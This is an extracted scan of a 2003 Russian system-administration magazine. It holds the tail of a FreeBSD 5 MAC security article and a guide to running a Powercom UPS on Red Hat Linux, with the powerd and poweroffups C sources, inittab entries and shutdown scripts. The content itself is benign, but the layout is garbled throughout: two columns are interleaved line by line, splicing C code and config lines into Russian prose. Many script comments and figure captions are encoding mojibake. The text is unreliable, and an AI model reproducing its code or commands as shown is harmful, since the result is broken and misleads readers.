ной системы. Итак, я скомпилировал ядро с поддержкой команда setfmac label file [file2] ..., имеющая полезную оп-
всех MAC-модулей и поправил /boot/defaults/loader.conf для цию -R (рекурсивность обработки каталогов). Помимо это-
загрузки модулей при старте системы (дело в том, что го для установки меток для процессов используется ко-
многие модули не могут быть загружены во время рабо- манда setpmac label command, запускающая процесс
ты системы и, в первую очередь, это модули, выполняю- comand с меткой label. Для управления сетевыми интер-
щие разграничение уровней безопасности). Больше все- фейсами используется опция ifconfig maclabel label. Для
го меня привлек модуль mac_bsdextended, позволяющий тех, кто решил воспользоваться преимуществами техно-
создавать правила для доступа к файловым объектам в логии MAC, я настоятельно рекомендую почитать страни-
стиле ipfw, но, к моему сожалению, команда: цу руководства maclabel(7), где достаточно понятно объяс-
няется формат MAC-метки. Также полезной для рассмот-
# ugidfw set 1 subject uid 1002 gid 1002 ↵ рения является страница mac(4), где приводится список
object uid 1 gid 1 mode arsw
MAC-модулей и соответствующих man-pages. На этом я,
которая должна разрешить чтение, запись, смену атрибу- пожалуй, завершу свое краткое описание технологии MAC
тов и административные полномочия (параметр mode (на самом деле технология MAC находится в стадии раз-
arsw) для пользователя (subject) 1002:1002 над файловы- вития, поэтому детально все описывать не имеет смысла,
ми объектами, принадлежащими (object) пользователю и т.к. в скором времени, возможно, изменится многое). Одно
группе daemon, почему-то не сработала должным обра- я могу сказать точно: у технологии MAC, несмотря на не-
зом. Далее я проверил работу модуля блокировки ин- которую сложность, есть будущее, особенно если учесть
терфейсов mac_ifoff, который блокирует сетевые интер- тот факт, что существуют коммерческие решения, обес-
фейсы до их явного включения посредством sysctl. Этот печивающие те же принципы. А MAC бесплатна в рамках
модуль действительно работает так, как сказано в man FreeBSD, что тоже немаловажно. Но самое главное – это
4 mac_ifoff – модуль предотвращает «забивание» очере- новый подход к модели безопасности системы, позволя-
ди интерфейса на этапе загрузки системы простым пу- ющий отделить критические объекты от остальных, по-
тем – не давая проходить пакетам до явного использо- высив защищенность первых от последних (см. описа-
вания команды: ния модулей mac_mls и mac_biba). Особенно мне инте-
ресной показалась идея файлового брандмауэра, хотя у
# sysctl security.mac.ifoff.other_enabled=1 меня она и не заработала. Остается только надеяться, что
в будущих версиях MAC выберется из состояния «экспе-
Из политик, предусматривающих установку меток бе- риментальная», будет более тесно интегрирована с сис-
зопасности я отметил некоторую их громоздкость, хотя темой и появятся новые удобные инструменты (впрочем,
идея мне понравилась. Например, хотим сделать так, что- никому не возбраняется участвовать в их создании). Но
бы пользователи не имели доступа к процессам login-груп- пока я бы не рекомендовал использовать ее на productive-
пы bind, а также отделить группу user. Идем в файл серверах, т.к. код еще сырой.
login.conf (просмотрев предварительно man 7 maclabel) и Вывод всей статьи: FreeBSD 5 – это система, вобрав-
пишем что-нибудь подобное, выполняя разграничение шая в себя множество преимуществ и практически не
классов: имеющая (на мой взгляд) недостатков.
Полезные ссылки на различные документы:
default:\
---cutted---
:label=partition/1  www.trustedbsd.org – проект безопасной BSD;
bind:\
 /usr/share/doc/en_US.ISO8859-1/books/handbook/ –
:label=partition/2 FreeBSD handbook;
user:\
 man 4 mac – введение в технологию MAC;
:label=partition/3  http://www.mckusick.com/softdep/ – информация о
SoftUpdates и Snapshots (не освещены в этой статье),
В данном примере пользователям с данным login-клас- спроектированных в рамках проекта ffs;
сом устанавливается метка модуля mac_partition, позво-  http://www.freebsd.org/cgi/man.cgi – ну а как же без этого;
ляющего выделить до 65535 групп процессов, определя-  Яремчук С. SELinux. – журнал «Системный админист-
емых номером, изолированных друг от друга в адресном ратор» №5(6), 2003г. – 64-68 с.

50
hardware

ПЛОХОЕ ЭЛЕКТРОПИТАНИЕ,
ИЛИ
«ГРАБЛИ» С UPS
Подключение источника бесперебойного питания UPS Powercom KIN 625AP

ПАВЕЛ ЗАКЛЯКОВ

52
hardware
К сожалению, отечественные сети электропитания не минут, и в момент включения монитора возможен значи-
обеспечивают достаточную стабильность подаваемого тельный скачок напряжения, что приведет к перезапуску
напряжения. Напряжение может изменяться по значению компьютера. А по закону подлости у вас обязательно воз-
и пропадать на время от нескольких миллисекунд до не- никнет необходимость администрирования с консоли, если
скольких часов без предварительного предупреждения. вы рассчитываете, что вас эта ситуация обойдет сторо-
Данная нестабильность в электропитании есть следствие ной. Более емкие модели дороги, и их излишняя емкость
особенностей российского законодательства. В идеале не будет использоваться. Вопрос в выборе емкости не
проблемы и последствия сбоев электропитания должны такой сложный. Другим критерием выбора ИБП является
решать страховые компании и юристы. Однако мы живем возможность создания обратной связи с компьютером и
далеко не в идеальной стране, полной исключений. Все возможность управления. Есть модели с управлением и
знают, что «русский сервис ненавязчив», и за разумные без него. Выбранная мной модель с управлением, и я вам
деньги выбирать особо не приходится. советую брать такую же. Она стоит несколько дороже, зато
Данная статья показывает довольно дешевый вариант это большой плюс, так как компьютер может оповещать
решения проблемы электропитания. Первым этапом за- администратора, сам выключаться и включаться.
щиты серверов от пропадания напряжения служит уста-
новка блоков (источников) бесперебойного питания. Од-
нако покупка дорогих моделей (например, фирмы APC)
не всем по карману. Поэтому всю публику, обслуживаю-
щую сервера, можно разделить на два класса. Первые
покупают профессиональные и, соответственно, дорогие
и качественные модели. В соотношении цена/качество
больше внимания уделяют качеству. Вторые экономят
деньги, собирая сервера в прямом смысле «на коленке»
и в соотношении цена/качество больше смотрят на цену.
Статья рассчитана на вторых, хотя и первые могут почер-
пнуть что-либо полезное для себя.
Многие думают, что покупка ИБП (источников беспе-
ребойного питания, UPS, Uninterruptable Power Supply) есть
решение проблемы. Данная мысль правильная, и любой
ИБП лучше, чем его отсутствие. Увы, но по моим наблю- Ðèñóíîê 2.
дениям, довольно много мелких серверов вообще не за- В комплекте к UPS Powercom KIN 625A шли два сете-
щищено ИБП. Хотелось бы администраторов таких сер- вых кабеля на 220 вольт, телефонный кабель и кабель
веров убедить в необходимости покупки и последующей управления для подключения к COM-порту с разъемом
правильной настройке ИБП, а данная статья поможет в DB-9. Защита телефонной линии пока мне не понадоби-
этом. Надеюсь, что убеждать вас в том, что наличие ИБП лась, несмотря на наличие модема, но потенциально по-
в наших условиях необходимо, не стоит. Возникает воп- радовала возможность использования ее в будущем.
рос: «А что купить?» На рынке полно моделей с различ-
ными ценами. Мой выбор пал на UPS Powercom KIN 625AP.

Ðèñóíîê 1.
Данная модель наиболее оптимальна для одного ком- Ðèñóíîê 3.
пьютера-сервера без монитора. Менее емкие модели ме- Например, при пропадании сети возможен дозвон аль-
нее желательны, так как они не могут использоваться для тернативному провайдеру и сброс сообщения, однако это
подключения монитора. Их емкости хватит на несколько уже тема другой статьи.

№8(9), август 2003 53


hardware
Софта к ИБП под Linux на прилагаемом компакт-дис- *
ке не было. Стандартные средства Linux мне настроить * This program is free software; you can redistribute
* it and/or modify it under the terms of the GNU
не удалось. Возможно, я с ними не до конца разобрался. * General Public License as published by
Поэтому я начал свои поиски в Интернете и нашел следу- * the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
ющие документы: *
 Readme of KINMON FOR LINUX; http://www. *
* Update for PowerCom King Pro by Fedor Lizunkov
zelenayavolna.com/download/power1.htm * 2:5020/960@Fidonet 24 May 2000
 Cайт фирмы «Зеленая Волна», содержащий програм- */
мы и описания для различных моделей ИБП Powercom, /* state 0 - power is good */
в том числе и программное обеспечение под Linux; http:/ #define T0_SLEEP 10 /* interval between port reads,in seconds */
#define T0_INL 3 /* number of seconds IN LINE has to be 0
/www.zelenayavolna.com/support.asp?cat=81 to cause an action */
 Сайт Powercom, раздел download; http://www.pcm.ru/ #define T0_BAT 3 /* number of seconds BATTERY has to be 0
to cause an action */
?p=18 /* state 1 - power is failing */
 файл powerd-for-powercom-kin-ups.tar.gz с описанием #define T1_SLEEP 2
#define T1_INL 3
/* interval between ports reads */
/* same as T0_INL */
установки for PowerCom King Pro by Fedor Lizunkov #define T1_BAT 3 /* same as T0_BAT */
2:5020/960@Fidonet*.
#define NUMRECEIVEDBYTES 11 /* out date size from UPS */
#define REQ_01 0x01 /* in date to UPS (request) */
Более полная информация, правда уже на английском #define REQ_03 0x03 /* in date to UPS (self test) */
#define REQ_OFF 0xbc /* first byte for UPS off */
языке и без адаптации для UPS Powercom имеется на сай-
те Red Hat [4]. #define LINE_FAIL 0x01
#define BATT_LOW 0x02
Я вкратце опишу, что было придумано и какие фай- #define UPS_OFF 0x80
лы надо создать и скомпилировать. Желающие могут по- #define BATT_BAD 0x02
искать первоисточники самостоятельно. Однако в этих
источниках не будет сделанных мною дополнений и ис- /* Use the new way of communicating with init. */
#define NEWINIT
правлений.
В powerd-for-powercom-kin-ups.tar.gz имеются как про- #include <sys/types.h>
#include <sys/stat.h>
граммы, так и их исходники на С. Заранее скомпилиро- #include <sys/ioctl.h>
ванные файлы работают у меня без проблем. #include <sys/termios.h>
#include <fcntl.h>
Для компиляции исходников пришлось внести в них #include <errno.h>
изменения, см. ниже. После компиляции полученные фай- #include <stdlib.h>
#include <unistd.h>
лы на правильность работы я не проверял. #include <stdio.h>
Скорее всего, они должны работать не хуже готовых. #include <signal.h>
#include <syslog.h>
Если будут проблемы, то их можно обсудить в форуме #include <string.h>
журнала (http://www.samag.ru/cgi-bin/yabb/YaBB.pl). #include "paths.h"
#ifdef NEWINIT
Дополнительные документацию и программы вы мо- #include "initreq.h"
жете скачать с вышеупомянутых ссылок самостоятельно. #endif
Итак, приступим. #ifndef SIGPWR
Для работы с UPS используются две программы: пер- # define SIGPWR SIGUSR1
#endif
вая, собственно, powerd – демон UPS. Вторая –
poweroffups, котороя выключает UPS. Все должно рабо- #ifdef NEWINIT
void alrm_handler()
тать с «родным» кабелем для подключения к COM-порту, {
если не работает – смотрите далее. }
#endif
/* /* Tell init that the power has gone (1), is back (0),
* powerd Catch power failure signals from or the UPS batteries are low (2). */
* a Trust Energy Protector 400/650 void powerfail(int event)
* and notify init {
* int fd;
* Usage: powerd /dev/cua3 (or any other serial device) #ifdef NEWINIT
* struct init_request req;
* Author: Ciro Cattuto <ciro@stud.unipg.it>
* /* Fill out the request struct. */
* Version 1.0 - 31 March 1997 memset(&req, 0, sizeof(req));
* req.magic = INIT_MAGIC;
* This code is heavily based on the original powerd.c code switch (event)
* by Miquel van Smoorenburg <miquels@drinkel.ow.org>. {
case 0:
req.cmd = INIT_CMD_POWEROK;
break;
case 1:
*Ê ñîæàëåíèþ, ïîñëåäíèé ôàéë ìíîé íå áûë íàéäåí ïî íàçâàíèþ req.cmd = INIT_CMD_POWERFAIL;
è ÿ íå ìîãó äàòü íà íåãî æèâóþ ññûëêó. Ñàì ÿ åãî ñêà÷èâàë break;
íåñêîëüêî ëåò íàçàä è ïîýòîìó îí óñïåë ïðîïàñòü èç ñåòè ê case 2:
default:
ìîìåíòó íàïèñàíèÿ ñòàòüè. req.cmd = INIT_CMD_POWERFAILNOW;
}

54
hardware
/* Open the fifo (with timeout) */
signal(SIGALRM, alrm_handler); /* Daemonize. */
alarm(3); switch(fork()) {
if ((fd = open(INIT_FIFO, O_WRONLY)) >= 0 case 0: /* Child */
&& write(fd, &req, sizeof(req)) == sizeof(req)) { closelog();
close(fd); setsid();
return; break;
} case -1: /* Error */
/* Fall through to the old method.. */ syslog(LOG_ERR, "can't fork.");
#endif closelog();
exit(1);
/* Create an info file for init. */ default: /* Parent */
unlink(PWRSTAT); closelog();
if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) { exit(0);
switch (event) }
{
case 0: /* Restart syslog. */
write(fd, "OK\n", 3); openlog("powerd", LOG_CONS, LOG_DAEMON);
break;
/* Now sample the DCD line. */
case 1: while(1) {
write(fd, "FAIL\n", 5);
break; tcflush (fd, TCIFLUSH);
ret = write(fd, &req_01, 1);
case 2: if (ret <= 0 ) {
default: sleep(10);
write(fd, "LOW\n", 4); continue;
break; }
}
close(fd); sleep(1);
}
counter = 0;
kill(1, SIGPWR); while (counter < NUMRECEIVEDBYTES) {
} ret = read(fd, &in, 1);
if (ret <= 0) {
/* Main program. */ status = -1;
int main(int argc, char *argv[]) break;
{ }
int fd; #ifdef DEBUG
int dtr_bit = TIOCM_DTR; syslog(LOG_DEBUG, "in%d = 0x%x\n", counter, in);
int rts_bit = TIOCM_RTS; #endif
int counter; buf[counter] = in;
int ret; counter++;
unsigned char req_01 = REQ_01; }
unsigned char in;
unsigned char buf[NUMRECEIVEDBYTES]; if ((buf[5] != 0) || (buf[7] != 0) || (buf[8] != 0)) {
int status = -1; /* looks like a transfer error in serial data communication */
int INL; syslog (LOG_WARNING, "Serial data from ups was invalid!");
int BAT; sleep(10);
continue;
struct termios tio; }

int INL_count = 0, BAT_count = 0; if (buf[10] & BATT_BAD) {


int tries; syslog (LOG_WARNING, "UPS`s battery is bad!");
sleep(10);
if (argc < 2) { continue;
fprintf(stderr, "Usage: powerd <device>\n"); }
exit(1);
} INL = (buf[9] & LINE_FAIL) | (buf[9] & UPS_OFF);
BAT = buf[9] & BATT_LOW;
/* Start syslog. */
openlog("powerd", LOG_CONS|LOG_PERROR, LOG_DAEMON); #ifdef DEBUG
syslog(LOG_DEBUG, "INL = 0x%x, BAT = 0x%x\n", INL, BAT);
/* Open monitor device. */ #endif
if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
syslog(LOG_ERR, "%s: %s", argv[1], sys_errlist[errno]); if (status == -1)
closelog(); {
exit(1); status = (INL == 0) ? 0 : 1;
} if (INL)
{
syslog(LOG_ALERT, "Power Failure. UPS active.");
tcgetattr (fd, &tio); powerfail(1);
tio.c_cflag = B1200 | CS8 | CLOCAL | CREAD; }
tio.c_iflag = IGNPAR; }
tio.c_oflag = 0;
tio.c_lflag = 0; switch (status)
tio.c_cc[VMIN] = 1; {
tio.c_cc[VTIME] = 0; case 0:
if ((INL == 0) && (BAT == 0))
tcflush (fd, TCIFLUSH); {
tcsetattr (fd, TCSANOW, &tio); INL_count = 0;
BAT_count = 0;
sleep(T0_SLEEP);
/* DTR is low */ continue;
ioctl(fd, TIOCMBIC, &dtr_bit); }
if (INL != 0)
/* RTS is high */ INL_count++;
ioctl(fd, TIOCMBIS, &rts_bit); if (BAT != 0)

№8(9), август 2003 55


hardware
BAT_count++; В стандартной установке RedHat 7.3 со средствами
if ((INL_count < T0_INL) && (BAT_count
< T0_BAT)) разработки и языком gcc проблем быть не должно.
{ После компиляции у вас появится файл powerd.
sleep(1);
continue; Запускать его нужно так:
}
if (BAT_count == T0_BAT) # powerd /dev/ttyS?
{
status = 2;
syslog(LOG_ALERT, "UPS batteries low!");
break; где вместо ? следует указывать нужный порт(/dev/ttyS0 –
} означает, что ИБП подключён к COM1. Если у вас ИБП
status = 1;
INL_count = 0; подключён к COM2, то, соответственно, надо писать /dev/
syslog(LOG_ALERT, "Power Failure. UPS active."); ttyS1 и т. д.). У меня это дело запускается из /etc/rc.d/
break;
rc.local.
case 1:
if ((INL != 0) && (BAT == 0)) #!/bin/sh
{ #
INL_count = 0; # This script will be executed *after* all
BAT_count = 0; # the other init scripts.
sleep(T1_SLEEP); # You can put your own initialization stuff in here
continue; # if you don't want to do the full Sys V style init stuff.
}
if (INL == 0) touch /var/lock/subsys/local
INL_count++;
if (BAT != 0) # Äîáàâèòü â êîíåö ôàéëà
BAT_count++; # Add support for the UPS
if ((INL_count < T1_INL) && (BAT_count < T1_BAT)) echo "Starting powerd daemon..."
{ rm -f /etc/turnUPSoff
sleep(1); if [ -x /sbin/powerd ]; then
continue; /sbin/powerd /dev/ttyS0
} fi
if (BAT_count == T1_BAT)
{ # îòïðàâêà ñîîáùåíèÿ îá óñïåøíîì çàïóñêå,
status = 2; # ñì. ïîÿñíåíèÿ â êîíöå ñòàòüè ìîæíî çàêîììåíòèðîâàòü
syslog(LOG_ALERT, "UPS batteries low!"); /sbin/pager/system_up
break;
}
status = 0; Файл /etc/turnUPSoff (его наличие) является флагом,
INL_count = 0; который выставляется, если нужно выключить ИБП – уда-
BAT_count = 0;
syslog(LOG_ALERT, "Power okay."); ляем его при старте системы.
break; Далее правим /etc/inittab, необходимо заменить то, что
case 2: там есть по поводу питания на эти строчки:
sleep(1);
continue; # What to do when power fails (delayed shutdown).
default: pf::powerfail:/etc/powerfail
break;
} # If power is back before shutdown, cancel the running shutdown.
pg::powerokwait:/etc/powerokay
powerfail(status);
} # If UPS batteries are getting low, do an immediate shutdown.
/* Never happens */ pc::powerfailnow:/etc/powerfailnow
return(0);
}
Если закомментировать уже имеющиеся строчки, то
Это powerd.с, его надо скомпилировать. Для этого не- должно получиться следующее:
обходимо найти у себя файл ititreq.h или установить его. У
меня в RedHat 7.3 он находится на CD 4: в /SRPMS/SysVinit- #
# inittab This file describes how the INIT process
2.84-2.src.rpm. Надо либо поставить SysVinit-2.84-2.src.rpm, # should set upthe system in a certain run-level.
либо переписать из него файл ititreq.h. Удобнее всего в mc #
# Author: Miquel van Smoorenburg,
зайти в этот файл, далее в sysvinit-2.84.tar.gz, в директо- # <miquels@drinkel.nl.mugnet.org>
рии /sysvinit-2.84/sys с помощью клавиши F5 вытащить нуж- # Modified for RHS Linux
# by Marc Ewing and Donnie Barnes
ный файл и поместить его рядом с powerd.с. После необхо- #
димо дописать в powerd.с где-нибудь в начале:
# Default runlevel. The runlevels used by RHS are:
/* This is the file needed by SysVInit */ # 0 - halt (Do NOT set initdefault to this)
#define PWRSTAT "/etc/powerstatus" # 1 - Single user mode
# 2 - Multiuser, without NFS
# The same as 3, if you do not have networking)
Далее можно компилировать: # 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# gcc –c powerd.c # 6 - reboot (Do NOT set initdefault to this)
# gcc –o powerd powerd.o #
id:3:initdefault:
либо:
# System initialization.
# gcc powerd.c -o powerd si::sysinit:/etc/rc.d/rc.sysinit

56
hardware
l0:0:wait:/etc/rc.d/rc 0 # ýòî ó÷èòûâàòü äîïîëíèòåëüíî.
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2 PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
l3:3:wait:/etc/rc.d/rc 3 if [ "$PID" != "" ]; then kill -9 $PID
l4:4:wait:/etc/rc.d/rc 4 fi
l5:5:wait:/etc/rc.d/rc 5 # ñîçäàåì ôàéë, ñëóæàùèé ôëàãîì âûêëþ÷åíèÿ ÈÁÏ, â íåãî ïèøåì äàòó
l6:6:wait:/etc/rc.d/rc 6 # â ôîðìàòå RFC, ÷òîáû íàì ïîòîì áûëî óäîáíåå ïîíÿòü, êîãäà áûë
# ñîçäàí ôàéë è ïðîïàëî íàïðÿæåíèå. Â ïðèíöèïå â ôàéë ìîæíî
# Things to run in every runlevel. # íè÷åãî íå ïèñàòü, òàê êàê ìîæíî ïðîñòî ïîñìîòðåòü âðåìÿ åãî
ud::once:/sbin/update # ñîçäàíèÿ.
date -R>/etc/turnUPSoff
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now # çàïóñêàåì â ôîíîâîì ðåæèìå ñêðèïò, îñóùåñòâëÿþùèé ñèãíàëèçàöèþ
# î ïðîïàäàíèè ïèòàíèÿ
/sbin/pager/power_fail &
# What to do when power fails (delayed shutdown). # çàïóñêàåì âûêëþ÷åíèå ñèñòåìû ñ îòñðî÷êîé íà 10 ìèíóò
pf::powerfail:/etc/powerfail /sbin/shutdown -t30 -r +10 "POWER FAILURE"

# If power is back before shutdown, cancel the running shutdown.


pg::powerokwait:/etc/powerokay
# If UPS batteries are getting low, do an immediate shutdown. /etc/powerokay
pc::powerfailnow:/etc/powerfailnow
#!/bin/sh
# When our UPS tells us power has failed, assume we have # ôàéë /etc/powerokay,
# a few minutes of power left. # çàïóñêàåòñÿ â ñëó÷àå âîçâðàùåíèÿ ýëåêòðîïèòàíèÿ
# Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed # çàâåðøàåòñÿ ïðîöåññ powerfail,
# and your UPS connected and working correctly. # èíèöèèðîâàâøèé çàïóñê âûêëþ÷åíèÿ ïèòàíèÿ,
#pf::powerfail:/sbin/shutdown -f -h +2 ↵ # à âìåñòå ñ íèì è âñå åãî ïîòîìêè,
#"Power Failure; System Shutting Down" # â òîì ÷èñëå è çàïóùåííûé èç íåãî shutdown
# If power was restored before kill `ps auxw | grep "powerfail" | grep -v grep | awk '{print $2}'`
# the shutdown kicked in, cancel it.
#pr:12345:powerokwait:/sbin/shutdown -c ↵ # Óáèðàåòñÿ ôëàã âûêëþ÷åíèÿ ÈÁÏ ïðè âûêëþ÷åíèè ñèñòåìû.
#"Power Restored; Shutdown Cancelled" rm -f /etc/turnUPSoff
# Ïîñûëàåòñÿ ñîîáùåíèå î âîññòàíîâëåíèè ïèòàíèÿ è
# Run gettys in standard runlevels # ñèñòåìà, ïðè íåîáõîäèìîñòè âîçâðàùàåòñÿ â óðîâåíü 3.
1:2345:respawn:/sbin/mingetty tty1 # Åñëè íà ñåðâåðå åñòü íàäîáíîñòü â çàïóùåííûõ X-Window,
2:2345:respawn:/sbin/mingetty tty2 # òî ñëåäóåò âíåñòè èçìåíåíèÿ ñàìîñòîÿòåëüíî.
3:2345:respawn:/sbin/mingetty tty3 /sbin/shutdown -c "THE POWER IS BACK"
4:2345:respawn:/sbin/mingetty tty4 /sbin/init 3
5:2345:respawn:/sbin/mingetty tty5 # çàïóñêàåòñÿ ñêðèïò, îòñûëàþùèé ñîîáùåíèå
6:2345:respawn:/sbin/mingetty tty6 # î âîñòàíîâëåíèè ýëåêòðîïèòàíèÿ
/sbin/pager/power_okay
# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon

Далее нам необходимо создать файлы: /etc/powerfailnow


 /etc/powerfail – будет запускаться при пропадании на- #!/bin/sh
пряжения;
# ôàéë /etc/powerfailnow, çàïóñêàåòñÿ ïðè ðàçðÿäå áàòàðåé â ÈÁÏ
 /etc/powerokay – будет запускаться, если после пропа-
дания напряжения питание восстановится, а компью- # Ñáðàñûâàåì êýøè è ñèíõðîíèçèðóåì ñîäåðæèìîå äèñêîâ
# ñ èõ ÷àñòè÷íûìè îáðàçàìè â ïàìÿòè.
тер к этому времени еще не выключится; /bin/sync
 /etc/powerfailnow – будет запускаться, когда батарея
# Ïðîâåðÿåì, íå çàïóùåíà ëè ó íàñ ïðîãðàììà shutdown,
ИБП села и долго не сможет работать в случае пропа- # íàïðèìåð, íà âûêëþ÷åíèå ÷åðåç ñóòêè, åñëè çàïóùåíà,
дания напряжения. # òî âû÷èñëÿåì åå PID è çàâåðøàåì åå. Âìåñòî íåå áóäåò
# âèñåòü ýêçåìïëÿð íà çàâåðøåíèå ÷åðåç 10 ìèíóò.
#  ñëó÷àå ïîñëåäóþùåãî âîçíèêíîâåíèÿ ïèòàíèÿ
Возможно, эти файлы будут запускать другие, кото- # çàâåðøåííûé ýêçåìïëÿð shutdown íà âûêëþ÷åíèå ñèñòåìû
# âîñcòàíîâëåí íå áóäåò, è ñèñòåìà ÷åðåç ñóòêè íå âûêëþ÷èòñÿ.
рые будут сигнализировать нам о своем запуске и делать # Íåîáõîäèìî ýòî ó÷èòûâàòü äîïîëíèòåëüíî.
другие действия, об этом речь пойдет ниже.
PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
if [ "$PID" != "" ]; then kill -9 $PID
/etc/powerfail fi

#!/bin/sh # ñîçäàåì ôàéë, ñëóæàùèé ôëàãîì âûêëþ÷åíèÿ ÈÁÏ,


# â íåãî ïèøåì äàòó â ôîðìàòå RFC, ÷òîáû ïîòîì áûëî
# ôàéë /etc/powerfail çàïóñêàåòñÿ ïðè ïðîïàäàíèè ýëåêòðîïèòàíèÿ # óäîáíåå ïîíÿòü, êîãäà áûë ñîçäàí ôàéë è ïðîïàëî íàïðÿæåíèå.
#  ïðèíöèïå â ôàéë ìîæíî íè÷åãî íå ïèñàòü,
# Ñáðàñûâàåì êýøè è ñèíõðîíèçèðóåì ñîäåðæèìîå äèñêîâ # òàê êàê ìîæíî ïðîñòî ïîñìîòðåòü âðåìÿ åãî ñîçäàíèÿ.
# ñ èõ ÷àñòè÷íûìè îáðàçàìè â ïàìÿòè. date -R>/etc/turnUPSoff
/bin/sync
# çàïóñêàåì êîìàíäó íà âûêëþ÷åíèå ñèñòåìû ïðÿìî ñåé÷àñ
# Ïðîâåðÿåì, íå çàïóùåíà ëè ó íàñ ïðîãðàììà shutdown, íàïðèìåð, /sbin/shutdown -r now "UPS batteries low. IMMEDIATE SHUTDOWN."
# íà âûêëþ÷åíèå ÷åðåç ñóòêè, åñëè çàïóùåíà, òî âû÷èñëÿåì åå PID # Åñëè óñïåâàåì, òî ïîñûëàåì ñîîáùåíèå àäìèíèñòðàòîðó
# è çàâåðøàåì åå. Âìåñòî íåå áóäåò âèñåòü ýêçåìïëÿð íà çàâåðøåíèå # î òîì, ÷òî èäåò ýêñòðåííîå âûêëþ÷åíèå, âîçìîæíî,
# ÷åðåç 10 ìèíóò.  ñëó÷àå ïîñëåäóþùåãî âîçíèêíîâåíèÿ ïèòàíèÿ # ðàçóìíåå ðàçìåñòèòü îòñûëêó ñîîáùåíèÿ î âûêëþ÷åíèè
# çàâåðøåííûé ýêçåìïëÿð shutdown íà âûêëþ÷åíèå ñèñòåìû âîñòàíîâ- # ïåðåä êîìàíäîé íà âûêëþ÷åíèå, îäíàêî
# ëåí íå áóäåò, è ñèñòåìà ÷åðåç ñóòêè íå âûêëþ÷èòñÿ. Íåîáõîäèìî # åñëè áàòàðåÿ ðàáîòàåò íà ïîñëåäíåì èçäûõàíèè, òî

№8(9), август 2003 57


hardware
# ìîæåò ýòîãî íå ñëó÷èòüñÿ, à êîìïüþòåð íå óñïååò рой – количество секунд, через которое следует выклю-
# âûêëþ÷èòüñÿ ïðàâèëüíî, ÷òî ìîæåò
# ïðèâåñòè ê áîëüøèì ñáîÿì è ïîòåðÿì äàííûõ. чить ИБП. Если число секунд не задано, то выключение
/sbin/pager/power_failnow происходит через 15 секунд.
Этим файлам следует придать атрибут запускаемости: Чтобы выключение ИБП происходило при выключении
компьютера, необходимо подправить файл /etc/rc.d/init.d/
# chmod +x /etc/powerfail halt, дописав туда следующие строчки в самом конце пе-
# chmod +x /etc/powerokay
# chmod +x /etc/powerfailnow ред eval «$command $HALTARGS» или «eval $command –
i –d –p»:
Также в целях безопасности можно изменить права на
доступ, устанавливаемые по умолчанию. # Äîáàâèòü â êîíåö ôàéëà ïåðåä ñòðîêîé
# "eval $command $HALTARGS" èëè "eval
При выключении питания разумно выключить и сам $command -i -d -p"
ИБП, чтобы он не работал вхолостую (на ИБП без управ- # Is this a powerfail situation?
if [ -f /etc/turnUPSoff ]; then
ления такое сделать сложно). Для этого необходимо ском- echo "Turning off UPS. Bye."
пилировать файл poweroffups.c (Примечание: изначаль- /sbin/poweroffups /dev/ttyS0 5
# exit 1
но файл назывался poweroff.c, но чтобы не возникало кон- fi
фликтов, так как запускаемый файл poweroff уже есть, то
я его переименовал.) Проверяется, установлен ли флаг на выключение, то
есть имеется ли файл /etc/turnUPSoff. Далее при его на-
/* poweroffups program for UPS Powercom King Pro. личии запускается программа, которая передает ИБП па-
(c) Fedor Lizunkov 2:5020/960@Fidonet
26 May 2000 */ раметры на выключение, соответственно, /dev/ttyS0 так-
же означает, что ИБП подключен к COM1, а 5 означает,
#include <sys/types.h>
#include <sys/stat.h> что систему надо выключить через 5 секунд.
#include <sys/fcntl.h> Теперь, после установки, когда в теории у вас все дол-
#include <stdio.h>
#include <unistd.h> жно заработать (кроме пейджинга), давайте рассмотрим
возможные проблемы, дабы избежать повторного «насту-
#define PAUSE 15
#define REQ_OFF 0xbc пания на грабли».
Лично у меня после установки всего обеспечения по
int main(int argc, char *argv[]) инструкции программа наотрез отказывалась видеть ИБП.
{ Размышления методом исключения через некоторое вре-
int fd; мя привели к мысли, что проблема в кабеле.
unsigned char off = REQ_OFF;
unsigned char pause = PAUSE;
if (argc < 2) {
fprintf(stderr, "Usage: poweroff <device> [time(sec)]\n");
exit(1);
}
/* Open monitor device. */
if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
exit(1);
}
if (argc > 2) {
pause = (unsigned char)atoi(argv[2]);
}
write(fd, &off, 1);
sleep(1/5);
write(fd, &pause, 1);
Ðèñóíîê 4.
close(fd); После чего мной были исследованы кабели от не-
return 0; скольких моделей, разных по емкости и годам выпус-
ка. В результате выяснилось, что существует несколь-
}
ко различных разводок кабелей, и у меня как раз ока-
# gcc -c poweroffups.c зался не тот, который нужен. Возможно, если бы все
# gcc -o poweroffups poweroffups.o
заработало сразу, то я бы и не стал писать статью. Итак,
либо: далее (рис. 5, рис. 6) разводки. Если у кого окажется
третья – напишите, будет интересно.
# gcc poweroffups.ñ -o poweroffups Если у вас компьютер новый (в корпусе ATX, рис. 7), то
подключение осуществляется очень просто.
Готовый файл лучше записать в директорию /sbin, при Если же у вас компьютер старый (в корпусе AT, рис. 8),
необходимых требованиях безопасности, задав ему со- то у вас наряду с 9-контактным разъемом для COM-порта
ответствующие атрибуты. Для его запуска ему надо пе- (DB-9) может встретиться и 25-контактный (DB-25).
редать два параметра: первый – порт, к которому под- Для подключения к разъему DB-25 может использо-
ключен ИБП и на который надо посылать сигнал, а вто- ваться переходник (рис. 9).

58
hardware
Òàáëèöà 1. Ðàçâîäêà è ñèãíàëû ïîñëåäîâàòåëüíîãî èíòåðôåéñà
(ÑÎM-ïîðòà).

Ðèñóíîê 5. Ðàçâîäêà 1. (Ðàáî- Ðèñóíîê 6. Ðàçâîäêà 2.


òàåò). Ðàçúåìû DB-9, íà îäíîì (Íå ðàáîòàåò).
ðàçúåìå íàïèñàíî KIN-1, òàêæå
åñòü êàáåëü ñ òàêîé æå ðàçâîä-
êîé, íî áåç íàäïèñè KIN-1.

